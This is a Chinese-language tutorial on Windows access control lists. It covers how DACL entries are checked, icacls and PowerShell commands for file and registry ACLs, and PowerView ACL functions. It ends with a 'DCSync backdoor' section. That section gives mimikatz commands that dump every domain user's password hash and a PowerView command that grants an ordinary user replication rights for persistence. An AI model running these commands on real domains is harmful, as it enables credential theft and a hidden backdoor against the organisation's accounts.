ACL(Access Control List)
ACL是一个windows中的表示用户(组)权限的列表。访问控制列表(ACL)是访问控制项(ACE)的列表。ACL中的每个ACE标识一个用户,并指定该用户允许、拒绝或审核的访问权限
ACL分为两类:
Discretionary Access Control List (DACL)
自由访问控制列表System Access Control List (SACL)
系统访问控制列表
当一个进程试图访问一个安全对象时,系统会检查该对向的DACL中的ACE:
- 如果该对象没有
DACL
,允许任何访问。 - 如果存在
DACL
,系统会顺序遍历DACL
中的每个ACE
,检查ACE
中的SID
在线程的令牌中是否存在。以访问者中的User SID
或Group SID
作为关键字查询被访问对象中的DACL
。顺序:先查询类型为DENY
的ACE
,若命中且权限符合则访问拒绝;未命中再在ALLOWED
类型的ACE
中查询,若命中且类型符合则可以访问;以上两步后还没命中那么访问拒绝。
文件中的ACL
我们以C:\Windows\SYSVOL\sysvol\qiyou.com
为例子
默认有5个DACL
选中一条DACL,其中包含多个ACE,表示具有的权限
- 命令行查看文件的
ACL
- 备份指定ACL
1
icacls qiyou.com /save acl.bak /t
还原指定ACL
1
icacls qiyou.com /restore acl.bak /t
添加用户对指定文件的完全访问权限
我们以删除之前生成的acl.bak
,可以看到是域管理员是没有ACL
的
添加了F权限之后就可以删除了
1 | icacls qiyou.com /grant administrator:(F) /t |
移除用户对指定文件的完全访问权限
1
icacls qiyou.com /remove qiyou /t
Powershell查看ACL
1
Get-Acl -Path 'qiyou.com'| ft -Wrap -AutoSize
注册表中ACL
查看指定路径的ACL
1 | Get-Acl -Path 'HKLM:\SAM'| ft -Wrap -AutoSize |
查看Access项的具体内容:
1 | $acl = Get-Acl -Path 'HKLM:\SAM' |
添加用户qiyou对注册表指定路径的完全访问权限
1 | $acl = Get-Acl HKLM:\SAM |
注:(1)修改注册表项HKLM:\SAM的ACL需要Administrator权限,(2)修改注册表项HKLM:\SAM\SAM的ACL需要System权限
注:标志符的含义
1 | 简单权限序列: |
Powerview中常用于ACL的功能
获得当前域内所有对象
1
Get-DomainObject -Domain qiyou.com
获得当前域内所有对象的ACL
1
Get-DomainObjectAcl -Domain qiyou.com
获得指定用户的ACL
1
Get-DomainObjectAcl -Domain qiyou.com -Identity qiyou
添加用户对指定对象(guid)的完全访问权限
1
Add-DomainObjectAcl -TargetIdentity 'guid' -PrincipalIdentity qiyou -Rights All
移除用户对指定对象(guid)的完全访问权限
1
Remove-DomainObjectAcl -TargetIdentity 'guid' -PrincipalIdentity qiyou -Rights All
利用ACL实现DCSync后门
如果我们得到了一个域管理权限,那么我们可以使用DCSync
导出域内所有用户的hash
1 | mimikatz.exe privilege::debug "lsadump::dcsync /domain:qiyou.com /all /csv" exit |
导出指定用户的hash
1 | mimikatz.exe privilege::debug "lsadump::dcsync /domain:qiyou.com /user:administrator /csv" exit |
默认情况下,只有Domain Controllers
和Enterprise Admins
权限能够使用DCSync
。
域内普通用户如果要利用DCSync
的话需要添加如下三条ACE(Access Control Entries):
- DS-Replication-Get-Changes (GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All (GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes (GUID:89e95b76-444d-4c62-991a-0facbeda640c)
使用Powerview
添加ACL
1 | Add-DomainObjectAcl -TargetIdentity "DC=qiyou,DC=com" -PrincipalIdentity qiyou -Rights DCSync -Verbose |
这样就可以在另外一台主机登陆了qiyou这个账号用DCSync
了
删除ACL
1 | Remove-DomainObjectAcl -TargetIdentity "DC=qiyou,DC=com" -PrincipalIdentity qiyou -Rights DCSync |
可以看到删除了ACL之后无法获取hash了
Reference
https://blog.csdn.net/u011801161/article/details/45567289
https://docs.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists